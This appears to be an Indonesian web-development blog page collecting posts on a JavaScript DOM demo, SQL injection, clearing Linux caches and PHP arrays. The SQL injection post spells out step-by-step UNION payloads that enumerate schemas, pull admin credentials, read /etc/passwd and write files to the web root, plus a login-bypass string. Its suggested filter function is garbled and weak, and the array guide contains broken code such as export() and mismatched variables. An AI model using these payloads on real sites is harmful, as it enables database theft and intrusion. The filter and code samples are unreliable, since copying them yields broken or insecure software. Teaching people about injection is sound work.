[Contoh]Berkreasi Sederhana dengan DOM dan Button

Bagaimanakan cara membuat script seperti itu dengan javascript?

  1. Membuat sebuah DIV yang akan siap termanipulasi.
  2. Menangkap DIV sebagai DOM dengan getElementById
  3. Melakukan pengubahan value dengan innerHTML
  4. Membuat fungsi untuk dua kondisi. Diatas digunakan kondisi UBAH dan BALIK
  5. Membuat ELEMEN yang onclick adalah memanggil fungsi tadi
Ini adalah div coba

Javascript DOM dalam HTML

Untuk memanipulasi browser dalam menampilkan data, tentu sangat lebih baik digunakan bahasa CLIENT SIDE, yang datanya telah didapat dari server side (database, bahasa pemrograman server dll). Dengan bahasa Client Side, akan sangat membantu kinerja server, dan selanjutnya melimpahkan beberapa beban ke client. Disamping itu proses animasi yang jalan di tingkat client akan sangat maksimal.

Seperti kita ketahui , sebuah halaman HTML akan terdiri dari banyak elemen, seperti div, img, span, p, h dan lain sebagainya. Elemen tersebut bisa juga memiliki atribut berupa style, id, class, name dan lain sebagainya. Untuk keperluan pengubahan-pengubahan elemen di HTML di tingkat client, dapat digunakan manipulasi dengan DOM. Document Object Model. Apa itu? Yaitu cara javascript mengambil value element sebagai model, yang akan diberi tindakan selanjutnya.
DOM itu ternyata mudah, hanya perlu mengenal kata : getElementById().

misal akan kita buat variabel x adalah berisi obyek model dari div “coba”. Maka kode HTML akan menjadi seperti berikut

Ini adalah div coba

Misal akan kita lakukan pengubahan isi div coba, maka akan seperti berikut:

Ini adalah div coba

Selamat mencoba :). Silakan CLICK

PERMOHONAN MAAF

Seluruh staff portal ini melakukan permohonan maaf pada para pembaca sekalian. Akibat bertumpuknya pekerjaan dan lain hal, maka segala request belum dapat dipenuhi. Oleh karena itu, para pembaca dapat kembali melakukan request atau bertanya jawab tentang hal yang berkaitan dengan web development, khususnya PHP, MySQL, Javascript, Apache, Linux dan Jaringan..

Sekali lagi kami sampaikan Terimakasih dan Permohonan Maaf yang sebesar-besarnya.

 

Mengurangi Resiko SQL Injection dengan Script Filter Parameter HTTP

Salah satu bug yang paling ditakuti di dunia pemrograman web adalah : SQL Injection Vulnerability. Dalam dunia hacking sering disebut dengan SQLiv. Bug ini termasuk paling banyak dijumpai publikasinya di situs-situs pempublish bug dan hacking. SQL Injection ini termasuk bug dengan jenis resiko tinggi. Injeksi SQL biasanya dilakukan dengan cara memasukkan perintah atau sintaks tambahan ke dalam FORM yang ada dalam web tersebut, baik FORM di address bar, maupun FORM yang ada pada content.

 

Dasar Teknis

1. Serangan GET Methode

Dalam membuat web, biasanya kita akan gunakan pemanggilan ID atau kode unik untuk mengundang suatu konten. Misal:

http://satuduatiga/index.php?mod=news&id=12

Kira-kira, proses SQL yang dibentuk adalah :

$id = $_GET['id'];

$query = "SELECT * FROM `news` WHERE `id`='$id'";

Apa yang terjadi apabila seseorang menambahkan perintah di belakangnya?

http://satuduatiga/index.php?mod=news&id=12 and 1=1

dan selanjutnya? Jika penambahan 1=1 dan 1=0 menghasilkan efek yang berbeda, dengan

1=1 posting/berita tetap muncul (tidak error)

1=0 berita tidak muncul (error)

Error message memang bisa saja ditutup dengan mengganti value PHP.INI dengan display_errors=’false’. Namun proses error tetap saja terjadi. Maka sebenarnya sintaks perintah di belakang parameter ID itu diproses oleh script. Berbahaya? Ya, sangat berbahaya. Biasanya penyusup akan menggunakan methoda UNION untuk melakukan serangan selanjutnya. Anggap dalam tabel berita bagian yang diambil adalah terdapat 4 kolom/field

SELECT `judul`,`isi`,`penulis`,`tanggal` FROM `news` WHERE `id`='$id'

 

Proses UNION adalah proses dua SELECT yang harus memiliki jumlah field terpanggil yang sama. Jika sampai proses UNION tidak sama jumlah fieldnya, maka akan terjadi error. Error adalah informasi berharga untuk seorang intruder. Misal si intruder mencoba melakukan pemanggilan sebagai berikut :

 

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1

maka halaman tersebut tidak akan muncul content. Maka dia bisa melanjutkan

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2

hingga

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,4

 

Pada saat itu, halaman selain menunjukkan posting content tersebut, juga akan menampilkan tulisan 1,2,3,4 sesuai dengan fieldnya. Saat itulah si intruder memanfaatkan seperti berikut:

Pencarian versi MySQL

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,@@version

 

Pencarian nama database yang aktif

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,database()

 

Pencarian nama user database aktif

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,user()

 

Pencarian nama database lain

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT DISTINCT TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA not in('INFORMATION_SCHEMA','mysql','test') LIMIT 1)

 

Pencarian nama tabel untuk database ‘web’ misal

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT TABLE_NAME from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA ='web' AND TABLE_NAME not in('coba','test','anu') LIMIT 1)

Pencarian nama kolom / field untuk tabel ‘user’ dalam database ‘web’ misal

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT COLUMN_NAME from INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA ='web' AND TABLE_NAME ='user' AND COLUMN_NAME not in('test') LIMIT 1)

 

Pencarian data dalam kolom user atau password

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT username FROM user LIMIT 1)

http://satuduatiga/index.php?mod=news&id=12 UNION SELECT 1,2,3,(SELECT password FROM user WHERE username='admin')

 

Setelah mendapatkan user dan password dari tabel user, maka dapat dieksekusi Login ke dalam form. Proses lain dapat juga dengan mencoba membaca file dalam sistem atau menulis file dalam sistem

 

SELECT load_file('/etc/passwd');

SELECT 'test' INTO OUTFILE('/var/www/hack.php');

atau bahkan

UPDATE news set judul='hacked';

 

Cerita mengenai hacking dengan sql injection akan dibahas dalam posting lain.

 

2. Serangan POST Method

Serangan ini biasanya dilakukan pada FORM login.

Serangan ini biasanya memanfaatkan logika pemrograman sebagai berikut :

$username = $_GET['username'];

$password = $_GET['password']

$query = "SELECT * FROM `user` WHERE `username`='$username' AND `password`='$password'";

 

Logika ini benar, memanfaatkan operator logika AND. Sehingga session baru terbuka jika PASANGAN username dan password itu terdapat dalam tabel user.

Apa yang terjadi apabila kita memasukkan pada kolom login tersebut adalah : admin’ OR”=’ ? Maka proses query yang terjadi menjadi seperti ini

SELECT * FROM `user` WHERE `username`=’admin’ OR ”=’‘ AND `password`=”;

Bagian tercetak kuning merupakan masukan yang berasal dari form. Sedangkan proses logika AND menjadi tercemar oleh OR, sehingga password salahpun akan dianggap benar. Padahal jika logika tersebut benar, sessi akan terbuka untuk si penyusup, tanpa perlu tahu passwordnya.

 

3. Blind SQL Injection

Blind SQL Injection adalah SQL Injection tanpa petunjuk error atau penampilan yang jelas. Tetap Blind SQLiv ini BERBAHAYA.

 

Gejala-gejala

Melihat gejala sebuah situs mengidap penyakit ini adalah dengan beberapa cara:

  1. Menambahkan tanda petik. Jika pada halaman muncul error maka ada kemungkinan potensi bahaya itu ada.
  2. Menambahkan logika 1=1 dan 1=0. Jika dengan 1=1 berita masih muncul tapi 1=0 tidak muncul maka potensi itu ada
  3. Mencoba form login dengan memasukkan admin’ or ”=’pada kolom user dan password. Apakah anda dapat masuk ke halaman admin
  4. Memanfaatkan pentester software, seperti SQLMap, Hexjector ataupun Havij dan lain sebagainya.

 

Penanggulangan

Beberapa cara pengurang resiko bug ini adalah:

  1. Melakukan filtering parameter yang perlu dimasukkan sebagai proses SQL
  2. Melakukan penutupan error dan pembatasan jumlah karakter parameter/post
  3. Menggunakan user database dan password yang bukan root, dan beda aplikasi web seharusnya berbeda pula user dan grant nya
  4. Menata permission struktur direktori secara benar sehingga web tetap bisa melakukan penulisan, juga mysql tidak dapat menulis ke dalam file.
  5. Penggunaaan mod_rewrite apache untuk me-rewrite URL sehingga selain SEO Friendly juga aman.
  6. Melakukan sanitasi file upload dengan benar. Jika hanya dibutuhkan file gambar, maka hanya bertipe gambar saja yang boleh masuk.
  7. Penggunaan program semacam antivirus seperti clamav dan lain sebagainya.
  8. Penutupan database information_schema.
  9. Untuk penggunaan CMS, rajin update juga menjadi faktor penting. Namun kadang pluggins merupakan faktor yang sering membawa bug.
  10. Memanfaatkan log error dan access secara benar. Pengecekan apakah terjadi injection dapat dimulai dari sini.

dan lain sebagainya.

 

Contoh Script Filter Parameter sederhana:

function filter_param($text,$html=true){
        $e_s=array('\\','\'','"');
		$d_s=array('','','');
		$text = preg_replace( "']*>.*?'si", '', $text );
        $text = preg_replace( '/]*>([^<]+)<\/a>/is', '\2 (\1)', $text );
        $text = preg_replace( '//', '', $text );
        $text = preg_replace( '/{.+?}/', '', $text );
        $text = preg_replace( '/ /', ' ', $text );
        $text = preg_replace( '/&/', '', $text );
		$text = str_replace( $e_s, $d_s, $text );
        $text = strip_tags( $text );
        $text = preg_replace("/\r\n\r\n\r\n+/", " ", $text);
        $text = $html ? htmlspecialchars( $text ) : $text;
        return $text;
}

$id = filter_param($_GET[‘id’]);
$username = filter_param($_POST[‘username’]);
$password = filter_param($_POST[‘password’]);
 

SQL Injection dapat terjadi pada semua jenis database. Oracle, SQLServer, Access dan lain-lain. Pada windows, SQL Server juga memiliki fungsi executable yang cukup berbahaya.

Tulisan ini sekedar sharing, tidak bermaksud menggurui, mengingat juga bahwa masih banyak bug yang terdapat pada produk yang dibuat oleh penulis. Semoga bermanfaat

Clear Memory Linux Tanpa Restart

Jika di sistem operasi Windows kita mengenal Task Manager untuk mengetahui seberapa dan apa saja load yang digunakan oleh Windows dalam processing data, maka di Linux dalam versi text kita akan mengenal perintah top. Perintah ini hanya dipanggil dengan melakukan pengetikan top. Untuk keluar tinggal mengetikkan tombol “q”. Sepintas isinya adalah sebagai berikut:

 

top - 09:04:02 up 35 min,  5 users,  load average: 0.26, 0.31, 0.39
Tasks: 176 total,   2 running, 174 sleeping,   0 stopped,   0 zombie
Cpu(s):  9.2%us,  2.5%sy,  0.0%ni, 88.1%id,  0.0%wa,  0.2%hi,  0.0%si,  0.0%st
Mem:   1800496k total,   820180k used,   980316k free,    15120k buffers
Swap:   257032k total,        0k used,   257032k free,   214868k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                                                                                                               
 6767 bimo      20   0  496m 158m  28m S   12  9.0   4:03.68 firefox-bin                                                                                                             987 root      20   0  332m  66m 9.8m S    4  3.8   2:27.83 Xorg                                                                                                                  
 6758 bimo      20   0  122m 9708 6288 R    3  0.5   1:02.65 xmms                                                                                                                  
 6621 bimo      20   0  117m  16m  10m S    2  0.9   0:09.92 gnome-terminal                                                                                                         2028 bimo      20   0  148m 5044 3744 S    1  0.3   0:24.31 pulseaudio                                                                                                            
   47 root      15  -5     0    0    0 S    0  0.0   0:00.91 scsi_eh_1                                                                                                                 1 root      20   0  2616 1516 1140 S    0  0.1   0:00.97 init                                                                                                                  
    2 root      15  -5     0    0    0 S    0  0.0   0:00.00 kthreadd                                                                                                                  3 root      RT  -5     0    0    0 S    0  0.0   0:00.00 migration/0                                                                                                           
    4 root      15  -5     0    0    0 S    0  0.0   0:00.04 ksoftirqd/0                                                                                                           
    5 root      RT  -5     0    0    0 S    0  0.0   0:00.00 watchdog/0                                                                                                            
    6 root      RT  -5     0    0    0 S    0  0.0   0:00.00 migration/1                                                                                                           
    7 root      15  -5     0    0    0 S    0  0.0   0:00.01 ksoftirqd/1                                                                                                           
    8 root      RT  -5     0    0    0 S    0  0.0   0:00.00 watchdog/1                                                                                                            
    9 root      15  -5     0    0    0 S    0  0.0   0:00.15 events/0                                                                                                              
   10 root      15  -5     0    0    0 S    0  0.0   0:00.18 events/1                                                                                                              
   11 root      15  -5     0    0    0 S    0  0.0   0:00.00 cpuset                                                                                                                
   12 root      15  -5     0    0    0 S    0  0.0   0:00.00 khelper

Baris pertama akan berisi informasi : waktu sekarang, durasi waktu hidup komputer, jumlah user yang berproses, termasuk mysql , nobody dan apache, dan rata-rata beban.

Baris kedua akan berisi task yang aktif, kemudian task yang saat itu sedang berjalan, task yang sedang idle, task berhenti dan task yang zombie alias task yang sebenarnya sudah mati namun masih dideteksi sebagai task aktif karena berbagai hal

Baris ketiga adalah notasi load CPU

Baris ke empat adalah Memory yang diload. Perhatikan pada kolom pertama, yaitu besarnya RAM kita yang tidak termasuk dishared dengan VGA, kolom ke dua adalah memori tergunakan yang akan selalu bertambah besar, kolom ketiga adalah memory sisa/kosong yang akan makin kecil, dan terakhir adalah buffer memory.

Memory kosong, ketika makin kecil, maka proses komputer akan semakin lambat. Kecenderungan proses, semakin lama komputer menyala, maka proses akan makin lambat karena memory terguna akan banyak digunakan oleh buffer. Jika di Windows, kita bisa klik kanan dan refresh untuk melakukan minor refresh, maka Linux dapat dilakukan dengan memberikan perintah :

sync

Minor refresh hanya akan memberikan efek sesaat komputer menjadi sedikit enteng dengan kerja beratnya. Jika di Windows, ketika komputer telah “mabuk” maka usaha lain adalah merestart, maka di Linux dapat dilakukan dengan cara lain selain merestart. Yaitu dengan melakukan clear memory. Hal ini tidak perlu merusak software dan tidak perlu restart. Caranya adalah dengan mengganti value pada :

/proc/sys/vm/drop_caches

menjadi 3.

Anda dapat melakukan checking lebih dulu dengan

cat /proc/sys/vm/drop_caches

Biasanya akan berisi nilai 1.

Gambar 1. Menengok isi file drop_caches

 

Selanjutnya lakukan sync lebih dulu, kemudian ubahlah file tersebut dengan cara

echo 3 > /proc/sys/vm/drop_caches

Gambar 2. Mengubah drop_caches

Lihatlah perubahanya pada top. Biasanya buffer dan memori terpakai akan menjadi lebih kecil.

 

Gambar 3. Sebelum di clear

 

Gambar 4. Setelah diclear.

 

File /proc/sys/vm/drop_caches ini tidak dapat ditulis dengan editor text lainnya. Hanya dapat dilakukan oleh root dengan mode echo dan diarahkan ke file tersebut.

Untuk notasi angka untuk diisikan ke drop_cache dapat dilihat di sini :

angka 1 untuk membebaskan pagecache

angka 2 untuk membebaskan dentries dan inodes

angka 3 untuk membebaskan semuanya

 

[Tips] Operasional Array PHP

Array merupakan variabel penting dalam semua pemrograman termasuk PHP, dimana array memiliki kemampuan membawa dalam satu variable dapat memuat banyak value dan key yang serupa. Contoh Array adalah misal akan kita bentuk sebuah variabel data nama anak-anak kelas III dalam sebuah sekolah akan diletakkan dalam sebuah tabel:

nis nama
001 Banu
002 Budi
003 Bayu
004 Bono

 

Isi dari sebuah tabel itu dapat dimasukkan dalam sebuah variabel array , dimana tiap item array akan berisi KEY dan VALUE, dan antara item satu dengan yang lain akan dipisahkan dengan tanda koma, seperti demikian :

$arr = array("001"=>"Banu","002"=>"Budi","003"=>"Bayu","004"=>"Bono");

Cara lain membuat array adalah dengan :

$arr["001"] = "Banu";
$arr["002"] = "Budi";
$arr["003"] = "Bayu";
$arr["004"] = "Bono";

Adapun sebuah array dapat saja tidak memiliki KEY tapi memiliki Value. Misal:

$arr = array("Banu","Budi","Bayu","Bono");

MENAMPILKAN ARRAY dalam PHP
Menampilkan Array dalam PHP dapat dengan menggunakan fungsi perintah php print_r();

print_r($arr);

JENIS ARRAY
Array dapat meliputi tiga hal:

  • Array Numerik / Numeric Array: adalah operasional array dengan penyebutan key nya adalah urutan item array tersebut, dimulai dari angka ke 0 sebagai item array pertama. Contoh diatas dapat dikatakan bahwa
    $arr[0] = “Banu”
    $arr[1] = “Budi”
    dan seterusnya. Sehingga jika dilakukan echo dengan PHP:

    echo $arr[0];
    

    Hasilnya adalah “Banu”.

  • Array Asosiatif / Associative Array : adalah operasional array dengan penyebutan keynya adalah nama dari key tersebut. Contoh diatas dapat dikatakan bahwa

    $arr[“001”] = “Banu”
    $arr[“002”] = “Budi”
    dan seterusnya. Sehingga jika dilakukan echo dengan PHP:

    echo $arr["002"];
    

    hasilnya adalah “Budi”

  • Array Multidimensional / Multidimensional array : Adalah adanya array di dalam array. Misal :
    
    $makanan = array(
    "buah" => array("Jeruk","Jambu","Alpokat"),
    "sayuran" => array("Bayam","Kenci","Selada","Mikado"),
    "daging" => array("Kambing","Ayam","Sapi"),
    "nasi" => array("merah","hitam","putih", "jagung");
    );
    
    

PENGURAIAN VALUE ARRAY
Penguraian array dapat dilakukan dengan menggunakan looping untuk penyebutan seluruhnya, atau melakukan echo/print untuk penyebutan peritem. Contoh adalah :

$arr = array("001"=>"Banu","002"=>"Budi","003"=>"Bayu","004"=>"Bono");

foreach ( $arr as $item ){
echo $item . "
"; }

atau kadang kita langsung menyebut per item jika bukan looping yang kita perlukan :

echo $arr["002"];

atau

echo $arr[1];

PENGURAIAN KEY DAN VALUE ARRAY
Suatu ketika kita perlu mengurai Value Array beserta Keynya. Maka dapat digunakan looping seperti demikian :

$arr = array("001"=>"Banu","002"=>"Budi","003"=>"Bayu","004"=>"Bono");

foreach ( $arr as key => $value ){
echo $key . "=" . $value . "
"; }

PENGURAIAN ARRAY LANGSUNG MENJADI VARIABEL BARU
Sebuah array dapat dipecah langsung menjadi variabel-variabel baru misal :

$arr = array("nama"=>"bimosaurus","alamat"=>"wonosobo","usia"=>"200 tahun");

Dapat langsung digunakan :

$arr = array("nama"=>"bimosaurus","alamat"=>"wonosobo","usia"=>"200 tahun");
export( $arr );

Maka akan muncul variabel baru :
$nama = “bimosaurus”;
$alamat = “wonosobo”;
$usia = “200 tahun”;

PEMBENTUKAN ARRAY DENGAN EXPLODE
Sebuah array dapat juga terbentuk dari kata atau kalimat yang dipecah dengan menggunakan explode. Sebagai contoh adalah :

$kalimat = "sebenarnya saya sudah lama ingin sekali menulis";
$arr = explode(" ", $kalimat); // dipecah berdsar tanda " " / spasi

Hasilnya jika dibongkar dengan array numerik adalah :

echo $arr[0];

Hasilnya adalah “sebenarnya”. Coba juga dilakukan perintah fungsi print_r();
Kebalikan dari explode adalah implode

PENGURAIAN ARRAY dari MySQL
Andaikan tabel di atas, akan disebut dengan tabel siswa. Maka sebuah Query dari MySQL akan seperti berikut:

$sql = "SELECT * FROM `siswa`";
$query = mysql_query( $sql );

Setelah dilakukan query, maka SQL akan menghasilkan array. Array tersebut akan kita urai dengan beberapa cara. Fungsi yang digunakan juga bisa mysql_fetch_row, mysql_fetch_array, atau mysql_fetch_assoc. Sedangkan perintah looping yang digunakan akan sangat lebih mudah menggunakan while.

while( $r = mysql_fetch_array( $q ) ){
echo $r['nis'] . " = " . $r['nama'] . "
"; } }

Apa perbedaan mysql_fetch_row, mysql_fetch_array, dan mysql_fetch_assoc? Perbedaannya adalah mysql_fetch_row untuk penyebutan array numerik, mysql_fetch_assoc adalah untuk penyebutan array assosiatif, dan mysql_fetch_array bisa untuk keduanya.

Sekian, semoga bermanfaat